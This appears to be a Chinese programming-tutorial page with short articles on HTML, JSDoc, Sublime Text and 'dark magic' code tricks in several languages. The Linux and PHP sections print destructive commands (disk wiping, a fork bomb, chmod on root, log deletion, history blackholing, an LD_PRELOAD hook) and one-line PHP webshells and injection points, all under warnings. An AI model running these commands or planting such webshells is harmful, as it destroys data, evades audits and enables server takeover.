HTML Boolean 属性速记表|disabled、checked、async 全用法

thbcm阅读(162)

零基础速记 HTML Boolean 属性
——编程狮(w3cschool.cn)3 分钟背完、直接上手

一句话记住

只要写了属性名,值就是 true;想表示 false,就干脆别写这个属性。

一、什么是 Boolean 属性?

  • 不写值值等于属性名本身,都表示 true
  • 根本不存在 这个属性,则表示 false
  • 官方叫 布尔属性,也叫 开关属性

二、常见 Boolean 属性一览(收藏级)

属性 元素 作用 示例
disabled <input> <button> <select> … 禁用控件 <input disabled>
checked <input type=checkbox/radio> 默认选中 <input checked>
selected <option> 默认选中 <option selected>
readonly <input> <textarea> 只读 <input readonly>
multiple <select> <input type=file> 多选 <select multiple>
required <input> <textarea> <select> 必填 <input required>
autofocus <input> <button> <select> <textarea> 页面加载后自动聚焦 <input autofocus>
hidden 全局属性 隐藏元素 <div hidden>
async <script> 异步加载脚本 <script async src="…">
defer <script> 延迟执行脚本 <script defer src="…">
loop <audio> <video> 循环播放 <video loop>
muted <audio> <video> 静音 <audio muted>
controls <audio> <video> 显示控制条 <video controls>
autoplay <audio> <video> 自动播放 <video autoplay>
novalidate <form> 关闭浏览器校验 <form novalidate>

三、四种写法对比(全部合法,但第 1 种最简洁)

写法 含义 推荐度
<input disabled> true  ⭐⭐⭐
<input disabled=""> true  ⭐⭐
<input disabled="disabled"> true 
<input disabled="false"> 仍是 true!

注意

disabled="false" 并不会变成 false,因为只要出现属性名就是 true

四、实战 30 秒

编程狮HTML在线编辑器 输入:

<!doctype html>
<input type="checkbox" checked> 默认选中<br>
<input type="checkbox"> 未选中<br>
<input type="text" placeholder="正常">
<input type="text" placeholder="禁用" disabled>

运行后 → 第一个复选框默认打钩,第二个未打钩;第二个文本框无法输入。

五、记忆口诀

“布尔属性像开关,写了就 ON,不写就 OFF。”

六、更多资源推荐

JSDoc 标签大全|70+ 官方标签速查表

thbcm阅读(120)

JSDoc 3 是一个用于 JavaScript 的API文档生成器,类似于 Javadoc 或 phpDocumentor。可以将文档注释直接添加到源代码中。JSDoc 工具将扫描您的源代码并为您生成一个 HTML 文档网站。

JSDoc 速通手册
——编程狮(w3cschool.cn)为前端新手量身打造的“一行一用”速查表

看完就能写注释,写完就能出文档!

1 起手式:一条万能模板

/**
 * @file  文件描述
 * @author 编程狮 <dev@w3cschool.cn>
 * @license MIT
 * @since   2025-08-06
 * @version 1.0.0
 */

2 常用标签「一行一用」

场景 简写模板 备注
描述变量 /** @type {number} */ let count 写类型即可
描述函数 /** @param {string} name - 用户名 */ 必传参数
可选参数 /** @param {number} [age=18] - 年龄 */ 中括号 + 默认值
多个类型 /** @type {(string\|number)} id */ 管道符
对象结构 /** @type {{a: string, b: number}} */ 行内对象
返回类型 /** @returns {Promise<boolean>} */ Promise 也支持
回调函数 /** @callback FetchCb @param {string} url @returns {Promise} */ 先定义后使用
枚举 /** @enum {number} */ const STATUS = { OK: 200, ERROR: 500 } 自动生成枚举文档
类注释 /** @class User @desc 用户实体 */ 构造函数上加
弃用 /** @deprecated 用 fetchDataAsync 代替 */ IDE 会画删除线

3 完整函数示例(复制即用)

/**
 * 获取用户详情
 * @func
 * @param {string} id - 用户ID
 * @param {object} [options] - 可选配置
 * @param {boolean} [options.cache=true] - 是否缓存
 * @returns {Promise<User>} 用户实例
 * @throws {Error} 当网络异常
 * @example
 * getUser('123').then(console.log);
 */
async function getUser(id, { cache = true } = {}) {
  if (!id) throw new Error('id 不能为空');
  return fetch(`/api/user/${id}?cache=${cache}`).then(r => r.json());
}

4 一键生成文档

  1. 安装
    npm i -D jsdoc
  2. 配置 jsdoc.json
    {
     "source": { "include": ["src"] },
     "opts": { "destination": "docs" }
    }
  3. 运行
    npx jsdoc -c jsdoc.json
  4. 打开 docs/index.html 查看效果。

5 速背口诀

“变量加 @type,函数加 @param,返回加 @returns,枚举用 @enum,弃用 @deprecated 别忘写!”

6 JSDoc 3 全部标签速查表(共 70+)

按使用频率分 4 级:

⭐⭐⭐ 必背(蓝框) ⭐⭐ 常用(绿框) ⭐ 进阶(灰框) ◦ 其他(了解)

① 文件级

标签 说明 示例
@file / @fileoverview 文件描述 @file 用户模块入口
@author 作者 @author 编程狮 <dev@w3cschool.cn>
@copyright 版权 @copyright 2025 w3cschool
@license 许可证 @license MIT
@version 版本 @version 1.2.0
@since 起始版本 @since 2025-08-06

② 类型与变量

标签 说明 示例
@type ⭐⭐⭐ 变量/返回值类型 @type {number}
@typedef ⭐⭐ 自定义类型 @typedef {{x:number,y:number}} Point
@callback ⭐⭐ 回调类型 @callback FetchCb
@enum ⭐ 枚举 @enum {number} STATUS
@var ◦ 变量别名 @var {string} title
@constant / @const ⭐⭐ 常量 @constant {string} API_ROOT
@readonly ⭐ 只读 @readonly
@default ⭐ 默认值 @default 42

③ 函数 / 方法

标签 说明 示例
@param / @arg ⭐⭐⭐ 参数 @param {string} name - 用户名
@returns / @return ⭐⭐⭐ 返回值 @returns {Promise<User>}
@throws / @exception ⭐⭐ 抛出异常 @throws {Error} 参数错误
@example ⭐⭐ 用法示例 @example add(1,2) // 3
@async ⭐ 异步 @async
@generator / @yields ◦ 生成器 @yields {number}
@this ◦ this 指向 @this {HTMLElement}

④ 类 / 模块 / 命名空间

标签 说明 示例
@class / @constructor ⭐⭐⭐ 构造函数 @class Person
@classdesc ⭐ 类描述 @classdesc 用户实体
@extends / @augments ⭐⭐ 继承 @extends Animal
@implements ⭐ 实现接口 @implements Drawable
@interface ⭐ 接口 @interface EventEmitter
@abstract / @virtual ◦ 抽象 @abstract draw()
@override ⭐ 重写 @override
@static ⭐ 静态成员 @static findById()
@instance ◦ 实例成员 @instance
@inner ◦ 内部成员 @inner toString
@memberof ⭐ 隶属对象 @memberof utils
@namespace ⭐⭐ 命名空间 @namespace math
@module ⭐⭐ 模块 @module user/api
@exports ⭐ 出口 @exports UserModel
@requires ⭐ 依赖模块 @requires lodash

⑤ 成员可见性

标签 说明
@public ⭐ 公开(默认)
@private ⭐⭐ 私有
@protected ⭐⭐ 受保护
@package ◦ 包内可见

⑥ 事件与监听

标签 说明
@event ⭐ 定义事件
@listens ◦ 监听事件
@fires / @emits ◦ 触发事件

⑦ 其他实用标签

标签 说明
@description / @desc ⭐⭐ 长描述
@summary ⭐ 简短描述
@deprecated ⭐⭐ 已弃用
@see ⭐ 参考链接
@link / @linkcode / @linkplain ⭐ 内联链接 {@link URL}
@tutorial ◦ 教程链接
@ignore ◦ 忽略该符号
@todo ⭐ TODO 任务
@borrows ◦ 借用其他注释
@name ◦ 强制名称(用于虚拟注释)
@variation ◦ 同名变体
@external ◦ 外部类型
@mixin / @mixes ⭐ 混入

⑧ 模板与泛型

标签 说明
@template ⭐ 泛型参数 @template T
@satisfies ◦ TypeScript 专用

⑨ 完整模板速用

/**
 * @file 用户模块
 * @author 编程狮 <dev@w3cschool.cn>
 * @since 1.0.0
 */


/**
 * @typedef {Object} User
 * @property {string} name  用户名
 * @property {number} age   年龄
 */


/**
 * 创建用户
 * @func
 * @param {User} user
 * @returns {Promise<User>}
 * @throws {Error} 参数非法
 * @example
 * createUser({name:'Tom',age:18})
 */
async function createUser(user) { ... }

邪修 Python 10 连击|黑魔法代码片段合集

thbcm阅读(142)

“邪修 Python” 通常指用非常规、违反直觉,但又巧妙到令人拍案叫绝的黑魔法写法。下面 10 个片段,每个都在 “千万别在正式项目里用” 的前提下,展示 Python 的极限玩法。看完你会惊呼:原来还能这么写!

️ 警示:仅供技术猎奇、面试谈资、代码高尔夫(Code Golf)或 “邪修” 自嗨。生产代码请遵守 PEP 8 与可读性原则。

1️⃣ 列表推导的“核爆”写法

# 一行生成九九乘法表
_ = [print(f'{j}×{i}={i*j}', end='\t'*(j!=i)) for i in range(1, 10) for j in range(1, i+1)]

print 塞进列表推导,只为省行数。

2️⃣ or / and 链实现“短路”赋值

# 看似三元,实则短路
value = a and b or c        # 当 b 为假时直接翻车

正确写法:b if a else c,别用邪修。

3️⃣ 字典字面量“原地爆炸”

# 字典推导 + 条件表达式
d = {k: v for k, v in zip('abc', range(3)) if (lambda x: x**2)(v) < 4}

lambda 塞到 if 里,阅读体验当场去世。

4️⃣ 一行合并多层嵌套列表

# 三重列表推导 + sum
flat = sum([sum([[i*j*k for k in range(3)] for j in range(3)], []) for i in range(3)], [])

sumflatMap,速度感人。

5️⃣ __import__ 动态导入 + 链式调用

# 一行实现“打印当前时间”
__import__('datetime').datetime.now().strftime('%Y-%m-%d %H:%M:%S')

import 当函数,比 import datetime 更“邪”。

6️⃣ setattr + lambda 批量装弹

# 给类动态挂 100 个方法
class A: pass
[setattr(A, f'f{i}', lambda self, x=i: x**2) for i in range(100)]

运行期改类字典,IDE 永远猜不到。

7️⃣ 装饰器“套娃”地狱

# 三层装饰器,每层都用 lambda
@lambda f: (lambda g: (lambda h: lambda *a: h(g(f(*a)))))
def add(x): return x + 1

真正的“装饰器洋葱”。

8️⃣ exec + 字符串模板生成代码

# 动态生成并执行函数体
code = 'def foo(x): return x * 2'
exec(code)

把 Python 当 PHP 用,安全审计直接爆炸。

9️⃣ 元类“暗改”类行为

class Meta(type):
    def __new__(cls, name, bases, ns):
        ns['__repr__'] = lambda self: "I am evil"
        return super().__new__(cls, name, bases, ns)


class Evil(metaclass=Meta): pass

类还没出生就被“邪修”附体。

一行实现“斐波那契”

# 递归 + 三目 + 切片
fib = lambda n: n if n < 2 else fib(n-1) + fib(n-2)
[fib(i) for i in range(10)]

复杂度 O(2ⁿ),运行即“献祭”CPU。

邪修心法口诀

“能写一行绝不写两行,能用黑魔法绝不走正道,

可读性?那是正道修士才考虑的事!”

彩蛋:把 Python 变成“JS”

# 链式属性设置
class ChainDict(dict):
    def __getattr__(self, key): return self.setdefault(key, ChainDict())
d = ChainDict(); d.a.b.c = 1

体验一把“点语法”无限链式调用。

Sublime Text 安装 Package Control 教程

thbcm阅读(140)

Sublime Text 3/4 安装 Package Control
——编程狮(w3cschool.cn)3 步搞定

1 命令面板(最简单)

系统 按键
Windows / Linux Ctrl+Shift+P
macOS Cmd+Shift+P

输入 Install Package Control → 回车 → 等待 3 秒,成功即弹出提示。

2 手动安装

  1. 下载离线包
    Package Control.sublime-package
  1. 放入目录
    Sublime Text → Preferences → Browse Packages…  
    返回上一级 → 进入 Installed Packages  
    粘贴下载的 .sublime-package
  1. 重启 Sublime Text 即可。

3 验证安装

命令面板 → 输入 Package Control: List Packages → 出现列表即成功。

4 常用下一步(一键复制)

# 安装中文本地化
Package Control: Install Package → ChineseLocalizations


# 安装 Emmet
Package Control: Install Package → Emmet


# 安装主题
Package Control: Install Package → Theme - One Dark

邪修 Java 10 连击|反射爆破单例、字节码改 JDK、Lambda 内联异常

thbcm阅读(132)

邪修 Java,10 段“千万别上生产”的黑魔法代码
——由编程狮(w3cschool.cn)出品,仅供猎奇

️ 每条都踩红线:可读性 0、维护成本 ∞,面试可炫技,项目里敢用就等死。

1️⃣ 一行 Hello World(无分号、无 main)

class H{static{System.out.println("邪修Java");System.exit(0);}}

  • 运行javac H.java && java H
  • 原理<clinit> 静态块当入口,直接 System.exit 防止 JVM 继续初始化。

2️⃣ 用反射把 String 变可变

String s = "abc";
Field f = String.class.getDeclaredField("value");
f.setAccessible(true);
((char[]) f.get(s))[0] = 'A';
System.out.println(s); // 输出 Abc

破坏 final char[],常量池一起陪葬。

3️⃣ 宏替换式“泛型擦除”

import java.lang.reflect.*;
List<String> list = new ArrayList<>();
list.add("123");
Method m = List.class.getMethod("add", Object.class);
m.invoke(list, 42);        // 擦除后成功塞进 Integer
System.out.println(list);  // [123, 42]

编译期类型检查形同虚设。

4️⃣ 双重括号初始化“匿名派生”

List<Integer> li = new ArrayList<>() {{
    add(1); add(2); add(3);
}};

每用一次就偷偷创建匿名内部类,爆炸式内存泄漏。

5️⃣ 枚举单例 + 反射爆破

enum Singleton { INSTANCE; }
public static void main(String[] args) throws Exception {
    Constructor<Singleton> c = Singleton.class.getDeclaredConstructor(String.class,int.class);
    c.setAccessible(true);
    Singleton evil = c.newInstance("EVIL", 1);  // 破坏单例
}

枚举号称防反射?邪修眼里不存在的。

6️⃣ 字节码注入(Javassist 一行流)

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("java.util.ArrayList");
cc.addMethod(CtNewMethod.make("public int size(){return 999;}", cc));
cc.toClass();
System.out.println(new ArrayList<>().size()); // 999

运行期改 JDK 源码,JVM 当场裂开。

7️⃣ 注解 + 反射 = 魔法路由

@Retention(RUNTIME) @interface Route { String value(); }
@Route("/hello") class HelloController { }


public static void invoke(String path) throws Exception {
    for (Class<?> c : Class.forName("").getClasses()) {
        if (c.isAnnotationPresent(Route.class) &&
            c.getAnnotation(Route.class).value().equals(path)) {
            c.getDeclaredConstructor().newInstance(); // 邪修式路由
        }
    }
}

0 行配置,全靠字符串比对,性能灾难。

8️⃣ 动态代理“偷天换日”

Map<String,Integer> map = (Map) Proxy.newProxyInstance(
        Map.class.getClassLoader(),
        new Class[]{Map.class},
        (proxy, method, args) -> "size".equals(method.getName()) ? 404 : null
);
System.out.println(map.size()); // 404

Map 接口秒变 404 页面。

9️⃣ 异常吞掉还能继续跑

try {
    int x = 1 / 0;
} catch (RuntimeException e) {
    throw new RuntimeException(new RuntimeException(e)); // 套娃异常
}

日志里 10 层 cause,定位直接崩溃。

终极一行:Lambda 内联异常

public static void main(String[] args) {
    ((Runnable)(() -> { throw new RuntimeException("boom"); })).run();
}

没有方法名,栈跟踪里只有两帧,调试器当场自闭。

邪修口诀

“Java 正道是 public static void main

邪修眼里万物皆可 static{}、反射、字节码。”

邪修 C++ 10 连击|模板爆炸、运行时 JIT、UB 套娃

thbcm阅读(138)

邪修 C++ ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都踩 UB/UBSAN/ODR 红线,可读性 0,维护成本 ∞

面试可炫技,项目里敢用就等死!

1️⃣ 一行 main 也没有的程序

struct A { A(){ puts("邪修C++"); exit(0); } } a;

全局对象构造期直接 exit,跳过整个 CRT。

2️⃣ 模板元编程“阶乘”在编译期爆炸

template<int N> struct Fac{ enum{ value = N * Fac<N-1>::value }; };
template<> struct Fac<0>{ enum{ value = 1 }; };
constexpr auto x = Fac<20>::value;   // 编译期递归 20 层

图灵完备模板,CPU 0 负载,编译器 100% 负载。

3️⃣ SFINAE 黑魔法:真假分支同时存在

template<bool> struct tag{};
template<class T> auto f(T t, tag<true>) -> int { return t + 1; }
template<class T> auto f(T t, tag<false>) -> int { return t - 1; }
#define f(x) f(x, tag<(x > 0)>{})

宏 + 模板 + 重载,IDE 当场罢工。

4️⃣ 指针 + 位域 + 联合体重叠

union {
    struct { unsigned long long a:1, b:63; };
    unsigned long long v;
} u{ .v = 0x8000000000000000ULL };
std::cout << u.a;   // 1 或 0?平台决定

UB 大杂烩,UBSAN 直接红屏。

5️⃣ 运行时生成机器码

#include <sys/mman.h>
unsigned char code[] = {0xB8,0x2A,0x00,0x00,0x00,0xC3}; // mov eax,42; ret
void* buf = mmap(nullptr, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
                 MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(buf, code, sizeof(code));
int (*p)() = (int(*)())buf;
std::cout << p();   // 42

运行时 JIT,杀毒软件报警。

6️⃣ 双重括号初始化 + 匿名派生

std::vector<int> v = std::vector<int>({{1, 2, 3}}){};

每次创建匿名派生类,RTTI 爆炸。

7️⃣ CRTP 静态多态“元宇宙”

template<class Derived>
struct Base { void foo(){ static_cast<Derived*>(this)->impl(); } };
struct D: Base<D>{ void impl(){ puts("CRTP"); } };

不依赖虚函数,却实现多态,模板实例化膨胀。

8️⃣ 宏黑魔法:逗号运算符一行流

#define evil(x) (printf("A\n"), printf("B\n"), x)
int val = evil(42);

宏里玩副作用,调试器断点失效。

9️⃣ 三目运算符 + 逗号运算符链式地狱

int x = 1, y = 2;
int res = (x > y) ? (puts("x>y"), x) : (puts("x<=y"), y);

puts 塞进表达式,阅读体验当场去世。

异常 + noexcept 套娃

void boom() noexcept { throw 42; } // UB:noexcept 里抛异常

标准直接 UB,程序可能 std::terminate

邪修口诀

“模板撑爆编译器,指针踏穿内存墙;

UB 当特性,UBSAN 当背景音。”

PS

想要正经学习 C++ 请从编程狮的《C++ 入门课程》开始!

邪修 C 语言 10 连击|计算型 goto、零长数组、运行时改机器码

thbcm阅读(158)

邪修 C 语言,10 段“直接劝退”的黑魔法代码
——仅供技术猎奇,切勿上生产!

编译器警告、UB(未定义行为)、UBSAN 狂怒,请自备防护眼镜 🧨

1️⃣ 一行 main 都没有的程序

#include <stdio.h>
void _start(){puts("邪修C");}

链接时加 -nostartfiles,直接跳过 CRT,Linux 裸奔。

2️⃣ Duff’s Device —— switch 跳进 while

void evil_memcpy(char *dst, char *src, size_t n){
    switch(n & 7){
        case 0: while(n--){ *dst++ = *src++;
        case 7: *dst++ = *src++;
        case 6: *dst++ = *src++;
        case 5: *dst++ = *src++;
        case 4: *dst++ = *src++;
        case 3: *dst++ = *src++;
        case 2: *dst++ = *src++;
        case 1: *dst++ = *src++;
                }break;
    }
}

循环展开 + switch 套 while,上古时代“手动 SIMD”。

3️⃣ 宏黑魔法:让 if 变成代码块

#define evil_if(x) if(x);else


evil_if(0)
    puts("你猜我会打印吗?");

宏定义末尾的分号把 else 直接悬空,编译器当场裂开。

4️⃣ 指针运算玩出花

int a[5] = {1,2,3,4,5};
printf("%d\n", 3[a]); // 输出 4

a[3]3[a] 等价,编译器:你们开心就好。

5️⃣ 结构体“零长度数组”末班车

struct msg {
    int len;
    char data[0]; // 邪修柔性数组
};
struct msg *m = malloc(sizeof *m + 100);
strcpy(m->data, "hello");

0 长度数组是 GNU 私货,标准 C99 请用 char data[]

6️⃣ 位域重叠 + 联合体重写

union {
    struct { unsigned a:4, b:4; } nibble;
    unsigned char byte;
} u = {.byte = 0xAB};
printf("%x %x\n", u.nibble.a, u.nibble.b); // 平台决定大小端

一步踏进 未定义行为 的大坑。

7️⃣ 自修改机器码(mmap 版)

#include <sys/mman.h>
char *code = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
                  MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
unsigned char payload[] = {0x48,0xC7,0xC0,0x01,0x00,0x00,0x00,0xC3}; // x86-64: mov rax,1; ret
memcpy(code, payload, sizeof payload);
int (*ret1)(void) = (int (*)(void))code;
printf("ret=%d\n", ret1());

运行时生成 shellcode,杀毒软件直接报警。

8️⃣ 多重 sizeof 套娃

printf("%zu\n", sizeof sizeof sizeof "abc"); // 输出 8(64 位指针)

连续 sizeof 把任何表达式剥成 size_t,毫无营养。

9️⃣ 逗号运算符“一行流”

int x = (printf("a\n"), printf("b\n"), 3);
printf("%d\n", x); // 依次打印 a b 3

把副作用写进表达式,debug 时想打人。

GOTO 地狱 + 标签运算

int main(){
    static const void *tab[] = {&&l0, &&l1, &&l2};
    int i = 1;
    goto *tab[i];
l0: puts("zero"); return 0;
l1: puts("one");  return 0;
l2: puts("two");  return 0;
}

计算型 goto(GNU C 扩展)手写跳转表。

邪修口诀

“内存随便指,宏里藏杀机,UB 当特性,编译器哭泣。”

邪修 C# 10 连击|反射改 string、运行时 IL、动态表达式树

thbcm阅读(140)

邪修 C# ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都踩红线:可读性 0、维护成本 ∞、编译器警告拉满、运行时炸锅。

面试炫技 OK,项目敢用就等死。

1️⃣ 一行 Main 都不要的程序

class P{static P(){Console.WriteLine("邪修C#");Environment.Exit(0);}}

静态构造函数当入口,CLR 还没热身就被踢下线。

2️⃣ 反射暴力改 string

var s = "abc";
typeof(string).GetField("_firstChar", 
        BindingFlags.NonPublic | BindingFlags.Instance)!
    .SetValueDirect(__makeref(s), 'X');
Console.WriteLine(s); // Xbc

string 本不可变?邪修眼里全是可变。

3️⃣ 运行期生成 IL 并执行

var ab = AssemblyBuilder.DefineDynamicAssembly(new AssemblyName("Evil"), AssemblyBuilderAccess.Run);
var mb = ab.DefineDynamicModule("Evil");
var tb = mb.DefineType("EvilType");
var m = tb.DefineMethod("Run", MethodAttributes.Public | MethodAttributes.Static, typeof(int), null);
var il = m.GetILGenerator();
il.Emit(OpCodes.Ldc_I4_S, 42); il.Emit(OpCodes.Ret);
var t = tb.CreateType();
Console.WriteLine(t.GetMethod("Run")!.Invoke(null, null)); // 42

自带 JIT,AOT 当场退役。

4️⃣ 动态表达式树 “写代码”

var add = Expression.Lambda<Func<int,int,int>>(
    Expression.Add(Expression.Parameter(typeof(int),"a"),
                   Expression.Parameter(typeof(int),"b")),
    Expression.Parameter(typeof(int),"a"),
    Expression.Parameter(typeof(int),"b")).Compile();
Console.WriteLine(add(1,2)); // 3

一行把表达式树当脚本引擎。

5️⃣ 利用 dynamic 绕过编译期检查

dynamic obj = new ExpandoObject();
obj.Foo(); // 运行时报错,编译器零提示

静态类型语言秒变 JavaScript。

6️⃣ 隐式转换 + 运算符重载地狱

struct EvilInt
{
    public int Value;
    public static implicit operator int(EvilInt e) => e.Value;
    public static EvilInt operator +(EvilInt a, EvilInt b) => new EvilInt { Value = a.Value - b.Value };
}
var a = new EvilInt{Value=5};
var b = new EvilInt{Value=3};
Console.WriteLine(a + b); // 2

+-,同事看了想打人。

7️⃣ 异常过滤器当 goto

try { throw new Exception("boom"); }
catch when (Console.ReadLine() == "continue") { Console.WriteLine("跳过"); }

异常逻辑取决于 用户输入,调试器原地发疯。

8️⃣ 利用 fixed + 指针改托管数组

int[] arr = {1,2,3};
fixed (int* p = arr)
    *(p + 1) = 999;
Console.WriteLine(arr[1]); // 999

托管堆秒变裸指针,GC 直接报警。

9️⃣ #line 伪装代码行号

#line 100 "fake.cs"
Console.WriteLine("我在第 100 行"); // 实际在第 3 行

栈跟踪、调试器全部被骗。

异步死锁自爆

async Task BoomAsync() => await Task.Delay(1).ConfigureAwait(false);
var task = BoomAsync();
task.Wait(); // 立即死锁

控制台 / WinForms 线程直接卡死。

邪修口诀

“反射能拆天,表达式能写天,指针能翻天;

编译器警告当耳旁风,运行时爆炸当烟花看。”

PS

想要正经学习 C# 从编程狮《C# 入门课程》开始!

邪修 Linux 10 连击|fork 炸弹、磁盘清零、SysRq 崩溃

thbcm阅读(132)

邪修 Linux,10 条“千万别在生产用”的黑魔法命令 & 脚本
——仅供技术猎奇,切勿真跑!

️ 每条都可能:系统崩溃 / 数据全毁 / 安全爆雷 / 老板跑路

请在一次性虚拟机或容器里实验!

1️⃣ 一行自毁根分区

sudo dd if=/dev/zero of=/dev/sda bs=1M count=1 seek=0

把磁盘前 1 MB 清零,破坏分区表+引导区,重启即砖

2️⃣ fork 炸弹(瞬间吃光 PID)

:(){ :|:& };:

Bash 函数递归 fork,几秒把系统进程表打满,OOM Killer 救场都来不及。

3️⃣ chmod -R 000 / 全锁死

sudo chmod -R 000 /

把所有文件权限清零,连 sudo 都救不回来(需 LiveCD 修复)。

4️⃣ 随机覆写内存(内核崩溃)

echo 1 | sudo tee /proc/sys/kernel/sysrq
echo c | sudo tee /proc/sysrq-trigger   # SysRq-c 立即触发 kernel panic

手一抖,系统重启;用于演示“蓝屏”。

5️⃣ /dev/null 伪装硬盘

sudo mount -o bind /dev/null /home

用户所有写入 /home 立刻黑洞化,备份直接蒸发。

6️⃣ 把 shell 历史写成只读黑洞

ln -sf /dev/null ~/.bash_history

历史命令永远写不进去,审计直接翻车。

7️⃣ 隐藏大文件(文件名包含退格符)

touch $'evil\033.txt'

ls 显示为空格,rm * 都删不掉,需 rm evil$'\b'.txt

8️⃣ 内存盘无限增长

sudo mount -t tmpfs -o size=100% tmpfs /tmp
cat /dev/zero > /tmp/bigfile &

tmpfs 占满物理内存,触发 OOM,系统卡死。

9️⃣ 滥用 find 删除系统文件

sudo find / -type f -name "*.log" -delete

递归删除所有日志,审计、调试信息瞬间蒸发。

伪装 rootkit 的 LD_PRELOAD

gcc -shared -fPIC -o evil.so evil.c  # evil.c 里重载 open/read
sudo LD_PRELOAD=./evil.so /bin/bash

任何程序打开文件都被钩子截获,隐蔽篡改数据

邪修口诀

“权限滥用当日常,系统崩溃当烟花;

一行命令毁天地,备份永远来不及。”

PS

想要正经学习 Linux ,从编程狮《Linux 入门课程》开始!

邪修 PHP 10 连击|一句话木马、反序列化链、eval 远程执行

thbcm阅读(134)

邪修 PHP,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真跑!

️ 每条都可能:白屏、死循环、内存爆炸、安全漏洞、代码审计原地退役

面试炫技 OK,生产敢用就等死!

1️⃣ 一行木马文件上传

<?=move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?>

4 个字符就能写文件,WAF 看到直接报警。

2️⃣ eval + $_GET 远程执行

<?php eval($_GET['c']); ?>

把整站变成远程 Shell,一句话木马鼻祖。

3️⃣ 字符串当函数名

$func = "system";
$func("rm -rf /"); // 如果权限够,直接毁灭

变量函数调用,静态扫描工具全部失明。

4️⃣ 动态变量名“套娃”

$$a = 1;  // $a 的值作为变量名

代码审计工具看不懂变量名,逻辑链断裂。

5️⃣ create_function 造匿名函数

$f = create_function('', 'return "evil";');
echo $f();

运行时编译 PHP 代码,opcode 缓存失效。

6️⃣ asserteval

assert($_POST['cmd']);

把断言当执行器,绕过 disable_functions。

7️⃣ preg_replace /e 模式执行

preg_replace('/.*/e', $_GET['c'], '');

正则里直接运行 PHP 代码,PHP 5.5 已废弃,但老系统遍地是。

8️⃣ 反序列化链式漏洞

unserialize($_COOKIE['token']);

经典 GadgetChain,RCE 一链触发。

9️⃣ 无限递归内存爆炸

function boom(){ boom(); } boom();

瞬间 OOM,PHP-FPM 进程池团灭。

文件包含“伪协议”

include "php://input";

直接把 POST body 当 PHP 执行,任意代码注入。

邪修口诀

“一句话木马传天下,eval 当 Shell 用;

动态变量名,审计看不懂;

反序列化链,RCE 一条龙。”

PS

想要正经学习PHP,从《PHP入 门课程》开始

联系我们